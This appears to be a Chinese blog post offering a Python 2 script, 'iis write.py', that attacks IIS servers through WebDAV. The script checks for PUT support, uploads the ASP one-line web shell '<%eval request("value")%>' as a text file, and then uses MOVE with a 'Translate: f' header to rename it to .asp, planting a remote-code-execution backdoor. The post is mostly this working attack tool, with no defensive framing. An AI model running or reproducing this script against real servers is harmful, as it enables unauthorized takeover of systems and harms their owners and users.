iis write.py

#!/usr/bin/python
import httplib
import sys


if len(sys.argv) < 5:
    print "written by votgagarry...."
    print "Usage: " + sys.argv[0] + " host " + " path " + " Content " + " fileToPut " + " fileMoveTo "
    print "Eg: " + sys.argv[0] + " 192.168.1.1 / test 123.txt 123.asp"
    sys.exit(0)
    
    
host = sys.argv[1]
path = sys.argv[2]
content = '<%eval request("value")%>'
fileToWrite = sys.argv[3]
fileToMove = sys.argv[4]




headers = {"Host": host,  
           "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",  
           "Accept": "text/plain"}

move_headers = {"Host": host,  
               "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",  
               "Accept": "text/plain",
               "Destination": "http://" + host + "/" + fileToMove,
               "Overwrite": "F",
               "Translate": "f"}

body = content





#############   check whether support PUT or not ####################

def checkPUT():
    try:
        http = httplib.HTTPConnection(host)
    except:
        print "Connection error..  check the connection..."
    try:
        http.request("OPTIONS", "/", body, headers)
    except:
        print "Doesnt support OPTIONS method "
    res = http.getresponse()
    check = str(res.msg)
    if 'PUT' in check:
        print "yep..  it supports PUT method"
    else:
        print "what a fucking website...."
    print res.msg
        
        
        
#############   try to put  ####################

def tryPUT():
    try:
        http = httplib.HTTPConnection(host)
    except:
        print "Connection error..  check the connection..."
    try:
        http.request("PUT", "/" + fileToWrite, body, headers)
    except:
        print "Doesnt support PUT method "


#############   try to move  ####################


def tryMOVE():
    try:
        http = httplib.HTTPConnection(host)
    except:
        print "Connection error..  check the connection..."
    try:
        http.request("MOVE", "/" + fileToWrite, body, move_headers)
    except:
        print "Something is wrong with MOVE  method , check the privilege"

##################################################

    
checkPUT()
tryPUT()
tryMOVE()
    








还有一些功能没有完善。。。 再今后补充了
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值